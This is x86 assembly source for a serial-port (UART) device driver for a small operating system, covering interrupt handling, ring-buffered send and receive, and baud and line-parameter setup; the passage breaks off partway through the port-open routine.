EXTRN _InitDevDr FWORD
EXTRN _AllocOSPage FWORD
EXTRN _DeAllocPage FWORD
EXTRN _UnMaskIRQ FWORD
EXTRN _MaskIRQ FWORD
EXTRN _SetIRQVector FWORD
EXTRN _EndOfIRQ FWORD
EXTRN _SendMsg FWORD
EXTRN _ISendMsg FWORD
EXTRN _WaitMsg FWORD
EXTRN _CheckMsg FWORD
EXTRN _GetTimerTick FWORD
EXTRN _Alarm FWORD
EXTRN _KillAlarm FWORD
EXTRN _Sleep FWORD
EXTRN _MicroDelay FWORD
EXTRN _OutByte FWORD
EXTRN _InByte FWORD
EXTRN _CopyData FWORD
EXTRN _GetJobNum FWORD
_recv_timeout DD 1,0,0
_xmit_timeout DD 10,0,0
_control_byte DB 0,0,0
_f16550 DB 2 DUP(0)
_stat_byte DB 2 DUP(0)
_mstat_byte DB 2 DUP(0)
_int_id DB 2 DUP(0)
_fExpectInt DB 2 DUP(0)
_recv_error DD 2 DUP(0)
_pSendBuf DD 2 DUP(0)
_head_send DD 2 DUP(0)
_tail_send DD 2 DUP(0)
_cSendBuf DD 2 DUP(0)
_sSendBuf DD 2 DUP(0)
_pRecvBuf DD 2 DUP(0)
_head_recv DD 2 DUP(0)
_tail_recv DD 2 DUP(0)
_cRecvBuf DD 2 DUP(0)
_sRecvBuf DD 2 DUP(0)
_THR DW 2 DUP(0)
_IER DW 2 DUP(0)
_IIR DW 2 DUP(0)
_FCR DW 2 DUP(0)
_LCR DW 2 DUP(0)
_MCR DW 2 DUP(0)
_LSR DW 2 DUP(0)
_MSR DW 2 DUP(0)
_DLAB_LO DW 2 DUP(0)
_DLAB_HI DW 2 DUP(0)
_comstat DB 128 DUP(0)
_pCS DD 0h
_comdcb DB 128 DUP(0)
.CODE
PUBLIC _coms_setup:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
MOV ESI,OFFSET _comdcb
MOV EAX,67
MOV BYTE PTR [ESI], AL
MOV ESI,OFFSET _comdcb
MOV EAX,1
ADD ESI,EAX
MOV EAX,79
MOV BYTE PTR [ESI], AL
MOV ESI,OFFSET _comdcb
MOV EAX,2
ADD ESI,EAX
MOV EAX,77
MOV BYTE PTR [ESI], AL
MOV ESI,OFFSET _comdcb
MOV EAX,3
ADD ESI,EAX
MOV EAX,49
MOV BYTE PTR [ESI], AL
MOV ESI,OFFSET _comdcb
MOV EAX,4
MOV BYTE PTR [ESI+12], AL
MOV ESI,OFFSET _comdcb
MOV EAX,2
MOV BYTE PTR [ESI+13], AL
MOV ESI,OFFSET _comdcb
MOV EAX,1
MOV WORD PTR [ESI+14], AX
MOV ESI,OFFSET _comdcb
XOR EAX,EAX
MOV DWORD PTR [ESI+20], EAX
MOV ESI,OFFSET _comdcb
MOV EAX,OFFSET _comdev_op
MOV DWORD PTR [ESI+24], EAX
MOV ESI,OFFSET _comdcb
MOV EAX,OFFSET _comdev_init
MOV DWORD PTR [ESI+28], EAX
MOV ESI,OFFSET _comdcb
MOV EAX,OFFSET _comdev_stat
MOV DWORD PTR [ESI+32], EAX
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,67
MOV BYTE PTR [ESI], AL
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,1
ADD ESI,EAX
MOV EAX,79
MOV BYTE PTR [ESI], AL
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,2
ADD ESI,EAX
MOV EAX,77
MOV BYTE PTR [ESI], AL
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,3
ADD ESI,EAX
MOV EAX,50
MOV BYTE PTR [ESI], AL
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,4
MOV BYTE PTR [ESI+12], AL
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,2
MOV BYTE PTR [ESI+13], AL
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,1
MOV WORD PTR [ESI+14], AX
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI+20], EAX
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,OFFSET _comdev_op
MOV DWORD PTR [ESI+24], EAX
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,OFFSET _comdev_init
MOV DWORD PTR [ESI+28], EAX
MOV EAX,64
MOV ESI,OFFSET _comdcb
ADD ESI,EAX
MOV EAX,OFFSET _comdev_stat
MOV DWORD PTR [ESI+32], EAX
MOV ESI,OFFSET _comstat
MOV EAX,9600
MOV DWORD PTR [ESI+12], EAX
MOV ESI,OFFSET _comstat
XOR EAX,EAX
MOV BYTE PTR [ESI+16], AL
MOV ESI,OFFSET _comstat
MOV EAX,8
MOV BYTE PTR [ESI+17], AL
MOV ESI,OFFSET _comstat
MOV EAX,1
MOV BYTE PTR [ESI+18], AL
MOV ESI,OFFSET _comstat
MOV EAX,100
MOV DWORD PTR [ESI+32], EAX
MOV ESI,OFFSET _comstat
MOV EAX,2
MOV DWORD PTR [ESI+36], EAX
MOV ESI,OFFSET _comstat
MOV EAX,1016
MOV DWORD PTR [ESI+20], EAX
MOV ESI,OFFSET _comstat
MOV EAX,4
MOV BYTE PTR [ESI+19], AL
MOV ESI,OFFSET _comstat
MOV EAX,4096
MOV DWORD PTR [ESI+24], EAX
MOV ESI,OFFSET _comstat
MOV EAX,4096
MOV DWORD PTR [ESI+28], EAX
MOV ESI,OFFSET _sSendBuf
MOV EAX,4096
MOV DWORD PTR [ESI], EAX
MOV ESI,OFFSET _sRecvBuf
MOV EAX,4096
MOV DWORD PTR [ESI], EAX
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,9600
MOV DWORD PTR [ESI+12], EAX
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV BYTE PTR [ESI+16], AL
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,8
MOV BYTE PTR [ESI+17], AL
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,1
MOV BYTE PTR [ESI+18], AL
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,100
MOV DWORD PTR [ESI+32], EAX
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,2
MOV DWORD PTR [ESI+36], EAX
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,760
MOV DWORD PTR [ESI+20], EAX
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,3
MOV BYTE PTR [ESI+19], AL
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,4096
MOV DWORD PTR [ESI+24], EAX
MOV EAX,64
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,4096
MOV DWORD PTR [ESI+28], EAX
MOV EAX,4
MOV ESI,OFFSET _sSendBuf
ADD ESI,EAX
MOV EAX,4096
MOV DWORD PTR [ESI], EAX
MOV EAX,4
MOV ESI,OFFSET _sRecvBuf
ADD ESI,EAX
MOV EAX,4096
MOV DWORD PTR [ESI], EAX
PUSH 4
CALL FWORD PTR _MaskIRQ
PUSH 3
CALL FWORD PTR _MaskIRQ
PUSH 4
PUSH OFFSET _comISR0
CALL FWORD PTR _SetIRQVector
PUSH 3
PUSH OFFSET _comISR1
CALL FWORD PTR _SetIRQVector
PUSH 5
PUSH OFFSET _comdcb
PUSH 2
PUSH 1
CALL FWORD PTR _InitDevDr
MOV DWORD PTR [EBP-4], EAX
MOV ESP,EBP
POP EBP
RETN
_handleISR:
PUSH EBP
MOV EBP,ESP
SUB ESP,8
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _pRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV DWORD PTR [EBP-4], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _pSendBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV DWORD PTR [EBP-8], EAX
L_2:
MOV EAX,1
AND EAX,EAX
JZ L_3
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _int_id
ADD ESI,EAX
MOV EBX,ESI
PUSH EBX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _IIR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
POP EDX
MOV BYTE PTR [EDX], AL
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _int_id
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
JMP L_5
L_6:
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _stat_byte
ADD ESI,EAX
MOV EBX,ESI
PUSH EBX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LSR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
POP EDX
MOV BYTE PTR [EDX], AL
JMP L_4
L_7:
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _cRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV EBX,ESI
MOV ESI,OFFSET _sRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBX]
CMP EAX,DWORD PTR [ESI]
SETE AL
AND AL,AL
JZ L_8
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _recv_error
ADD ESI,EAX
MOV EAX,805
MOV DWORD PTR [ESI], EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _THR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
JMP L_9
L_8:
CLI
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _head_recv
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV ESI,DWORD PTR [EBP-4]
ADD ESI,EAX
MOV EBX,ESI
PUSH EBX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _THR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
POP EDX
MOV BYTE PTR [EDX], AL
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _cRecvBuf
ADD ESI,EAX
INC DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _head_recv
ADD ESI,EAX
INC DWORD PTR [ESI]
MOV EAX,DWORD PTR [ESI]
CMP EAX,4096
SETE AL
AND AL,AL
JZ L_10
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _head_recv
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
STI
L_10:
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _recv_error
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
L_9:
JMP L_4
L_11:
CLI
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _cSendBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
AND EAX,EAX
JZ L_12
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _tail_send
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV ESI,DWORD PTR [EBP-8]
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _THR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _tail_send
ADD ESI,EAX
INC DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV EBX,ESI
MOV ESI,OFFSET _sSendBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBX]
CMP EAX,DWORD PTR [ESI]
SETE AL
AND AL,AL
JZ L_13
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _tail_send
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
L_13:
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,2
MOV ESI,OFFSET _cSendBuf
ADD ESI,EAX
DEC DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _fExpectInt
ADD ESI,EAX
MOV EAX,1
MOV BYTE PTR [ESI], AL
JMP L_14
L_12:
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _fExpectInt
ADD ESI,EAX
XOR EAX,EAX
MOV BYTE PTR [ESI], AL
L_14:
STI
JMP L_4
L_15:
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _mstat_byte
ADD ESI,EAX
MOV EBX,ESI
PUSH EBX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _MSR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
POP EDX
MOV BYTE PTR [EDX], AL
JMP L_4
L_16:
MOV EAX,DWORD PTR [EBP+8]
MOV ESI,OFFSET _stat_byte
ADD ESI,EAX
MOV EBX,ESI
PUSH EBX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LSR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
POP EDX
MOV BYTE PTR [EDX], AL
L_17:
JMP L_18
L_5:
CMP EAX,1
JE L_16
CMP EAX,0
JE L_15
CMP EAX,2
JE L_11
CMP EAX,4
JE L_7
CMP EAX,6
JE L_6
JMP L_17
L_4:
JMP L_2
L_3:
L_18:
MOV ESP,EBP
POP EBP
RETN 4
_comISR0:
PUSHAD
STI
XOR EAX,EAX
PUSH EAX
CALL _handleISR
PUSH 4
CALL FWORD PTR _EndOfIRQ
POPAD
IRETD
_comISR1:
PUSHAD
STI
PUSH 1
CALL _handleISR
PUSH 3
CALL FWORD PTR _EndOfIRQ
POPAD
IRETD
_ReadByteC:
PUSH EBP
MOV EBP,ESP
SUB ESP,8
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _pRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV DWORD PTR [EBP-8], EAX
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _recv_error
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
AND EAX,EAX
JZ L_21
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _recv_error
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
JMP L_22
L_21:
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _cRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
AND EAX,EAX
JZ L_23
MOV ESI,DWORD PTR [EBP+8]
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV EBX,ESI
MOV ESI,OFFSET _tail_recv
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV ESI,DWORD PTR [EBP-8]
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV BYTE PTR [EBX], AL
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _tail_recv
ADD ESI,EAX
INC DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV EBX,ESI
MOV ESI,OFFSET _sRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBX]
CMP EAX,DWORD PTR [ESI]
SETE AL
AND AL,AL
JZ L_24
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _tail_recv
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
L_24:
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _cRecvBuf
ADD ESI,EAX
DEC DWORD PTR [ESI]
MOV EAX,DWORD PTR [ESI]
XOR EAX,EAX
JMP L_22
L_23:
MOV EAX,DWORD PTR [EBP+12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+36]
MOV DWORD PTR [EBP-4], EAX
L_25:
MOV EAX,DWORD PTR [EBP-4]
DEC DWORD PTR [EBP-4]
AND EAX,EAX
JZ L_26
PUSH 1
CALL FWORD PTR _Sleep
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _cRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
AND EAX,EAX
JZ L_27
MOV ESI,DWORD PTR [EBP+8]
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV EBX,ESI
MOV ESI,OFFSET _tail_recv
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV ESI,DWORD PTR [EBP-8]
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
MOV BYTE PTR [EBX], AL
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _tail_recv
ADD ESI,EAX
INC DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV EBX,ESI
MOV ESI,OFFSET _sRecvBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBX]
CMP EAX,DWORD PTR [ESI]
SETE AL
AND AL,AL
JZ L_28
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _tail_recv
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
L_28:
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _cRecvBuf
ADD ESI,EAX
DEC DWORD PTR [ESI]
MOV EAX,DWORD PTR [ESI]
XOR EAX,EAX
JMP L_22
L_27:
JMP L_25
L_26:
MOV EAX,800
L_22:
MOV ESP,EBP
POP EBP
RETN 8
_ReadRecordC:
PUSH EBP
MOV EBP,ESP
SUB ESP,4
XOR EAX,EAX
MOV WORD PTR [EBP-2], AX
XOR EAX,EAX
MOV WORD PTR [EBP-4], AX
L_29:
MOVSX EAX,WORD PTR [EBP-4]
MOVZX ECX,WORD PTR [EBP+12]
CMP EAX,ECX
SETB AL
AND AL,AL
JZ L_31
MOVSX EAX,WORD PTR [EBP-2]
AND EAX,EAX
SETZ AL
AND AL,AL
L_31:
JZ L_30
PUSH DWORD PTR [EBP+20]
MOV ESI,DWORD PTR [EBP+16]
INC DWORD PTR [EBP+16]
PUSH DWORD PTR [ESI]
CALL _ReadByteC
MOV WORD PTR [EBP-2], AX
MOVSX EAX,WORD PTR [EBP-2]
AND EAX,EAX
JNZ L_32
INC WORD PTR [EBP-4]
MOVSX EAX,WORD PTR [EBP-4]
L_32:
JMP L_29
L_30:
MOV ESI,DWORD PTR [EBP+8]
MOVSX EAX,WORD PTR [EBP-4]
MOV WORD PTR [ESI], AX
MOVSX EAX,WORD PTR [EBP-2]
MOV ESP,EBP
POP EBP
RETN 16
_WriteByteC:
PUSH EBP
MOV EBP,ESP
SUB ESP,12
XOR EAX,EAX
MOV DWORD PTR [EBP-4], EAX
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _pSendBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV DWORD PTR [EBP-12], EAX
MOV EAX,DWORD PTR [EBP+12]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+32]
MOV DWORD PTR [EBP-8], EAX
L_34:
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _cSendBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV EBX,ESI
MOV ESI,OFFSET _sSendBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBX]
CMP EAX,DWORD PTR [ESI]
SETE AL
AND AL,AL
JZ L_35
PUSH 1
CALL FWORD PTR _Sleep
MOV EAX,DWORD PTR [EBP-8]
DEC DWORD PTR [EBP-8]
MOV EAX,DWORD PTR [EBP-8]
AND EAX,EAX
JNZ L_36
MOV EAX,801
JMP L_37
L_36:
JMP L_34
L_35:
CLI
MOV EAX,DWORD PTR [EBP+12]
MOV ESI,OFFSET _fExpectInt
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
AND EAX,EAX
JNZ L_38
XOR EAX,EAX
MOV AL,BYTE PTR [EBP+8]
PUSH EAX
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,1
MOV ESI,OFFSET _THR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
MOV EAX,DWORD PTR [EBP+12]
MOV ESI,OFFSET _fExpectInt
ADD ESI,EAX
MOV EAX,1
MOV BYTE PTR [ESI], AL
JMP L_39
L_38:
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _head_send
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
MOV ESI,DWORD PTR [EBP-12]
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [EBP+8]
MOV BYTE PTR [ESI], AL
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _head_send
ADD ESI,EAX
INC DWORD PTR [ESI]
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV EBX,ESI
MOV ESI,OFFSET _sSendBuf
ADD ESI,EAX
MOV EAX,DWORD PTR [EBX]
CMP EAX,DWORD PTR [ESI]
SETE AL
AND AL,AL
JZ L_40
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _head_send
ADD ESI,EAX
XOR EAX,EAX
MOV DWORD PTR [ESI], EAX
L_40:
MOV EAX,DWORD PTR [EBP+12]
SHL EAX,2
MOV ESI,OFFSET _cSendBuf
ADD ESI,EAX
INC DWORD PTR [ESI]
MOV EAX,DWORD PTR [ESI]
L_39:
STI
MOV EAX,DWORD PTR [EBP-4]
L_37:
MOV ESP,EBP
POP EBP
RETN 8
_WriteRecordC:
PUSH EBP
MOV EBP,ESP
SUB ESP,2
XOR EAX,EAX
MOV WORD PTR [EBP-2], AX
L_41:
MOVZX EAX,WORD PTR [EBP+8]
AND EAX,EAX
JZ L_43
MOVSX EAX,WORD PTR [EBP-2]
AND EAX,EAX
SETZ AL
AND AL,AL
L_43:
JZ L_42
PUSH DWORD PTR [EBP+16]
MOV ESI,DWORD PTR [EBP+12]
INC DWORD PTR [EBP+12]
XOR EAX,EAX
MOV AL,BYTE PTR [ESI]
PUSH EAX
CALL _WriteByteC
MOV WORD PTR [EBP-2], AX
DEC WORD PTR [EBP+8]
MOVZX EAX,WORD PTR [EBP+8]
JMP L_41
L_42:
MOVSX EAX,WORD PTR [EBP-2]
MOV ESP,EBP
POP EBP
RETN 12
_DiscardRecvC:
PUSH EBP
MOV EBP,ESP
SUB ESP,9
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+36]
MOV DWORD PTR [EBP-4], EAX
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,1
MOV DWORD PTR [ESI+36], EAX
XOR EAX,EAX
MOV DWORD PTR [EBP-8], EAX
L_45:
MOV EAX,DWORD PTR [EBP-8]
AND EAX,EAX
JNZ L_46
PUSH DWORD PTR [EBP+8]
LEA EAX,BYTE PTR [EBP-9]
PUSH EAX
CALL _ReadByteC
MOV DWORD PTR [EBP-8], EAX
JMP L_45
L_46:
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [EBP-4]
MOV DWORD PTR [ESI+36], EAX
XOR EAX,EAX
MOV ESP,EBP
POP EBP
RETN 4
_SetParams:
PUSH EBP
MOV EBP,ESP
SUB ESP,13
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+16]
MOV BYTE PTR [EBP-10], AL
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+17]
MOV BYTE PTR [EBP-11], AL
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
XOR EAX,EAX
MOV AL,BYTE PTR [ESI+18]
MOV BYTE PTR [EBP-12], AL
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+12]
MOV DWORD PTR [EBP-8], EAX
MOV EAX,115200
MOV ECX,DWORD PTR [EBP-8]
XOR EDX,EDX
DIV ECX
MOV DWORD PTR [EBP-4], EAX
CLI
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _InByte
MOV BYTE PTR [EBP-9], AL
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-9]
MOV ECX,128
OR EAX,ECX
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
MOV EAX,DWORD PTR [EBP-4]
AND EAX,255
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _DLAB_LO
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
MOV EAX,DWORD PTR [EBP-4]
MOV ECX,8
SHR EAX,CL
AND EAX,255
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _DLAB_HI
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-9]
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
STI
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-11]
MOV ECX,5
SUB EAX,ECX
MOV BYTE PTR [EBP-13], AL
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-12]
CMP EAX,1
SETE AL
AND AL,AL
JZ SHORT L_49
XOR EAX,EAX
JMP SHORT L_48
L_49:
MOV EAX,4
L_48:
XOR ECX,ECX
MOV CL,BYTE PTR [EBP-13]
OR EAX,ECX
MOV BYTE PTR [EBP-13], AL
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-10]
JMP L_51
L_52:
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-13]
XOR ECX,ECX
OR EAX,ECX
MOV BYTE PTR [EBP-13], AL
JMP L_50
L_53:
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-13]
MOV ECX,8
OR EAX,ECX
MOV BYTE PTR [EBP-13], AL
JMP L_50
L_54:
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-13]
MOV ECX,24
OR EAX,ECX
MOV BYTE PTR [EBP-13], AL
JMP L_50
L_51:
CMP EAX,1
JE L_54
CMP EAX,2
JE L_53
CMP EAX,0
JE L_52
L_50:
CLI
XOR EAX,EAX
MOV AL,BYTE PTR [EBP-13]
PUSH EAX
MOV EAX,DWORD PTR [EBP+8]
SHL EAX,1
MOV ESI,OFFSET _LCR
ADD ESI,EAX
MOVZX EAX,WORD PTR [ESI]
PUSH EAX
CALL FWORD PTR _OutByte
STI
XOR EAX,EAX
L_55:
MOV ESP,EBP
POP EBP
RETN 4
_OpenCommC:
PUSH EBP
MOV EBP,ESP
SUB ESP,7
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI]
AND EAX,EAX
JZ L_56
MOV EAX,809
JMP L_57
L_56:
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
PUSH ESI
CALL FWORD PTR _GetJobNum
MOV EAX,DWORD PTR [EBP+8]
MOV ECX,64
MUL ECX
MOV ESI,OFFSET _comstat
ADD ESI,EAX
MOV EAX,DWORD PTR [ESI+24]
MOV ECX,4096
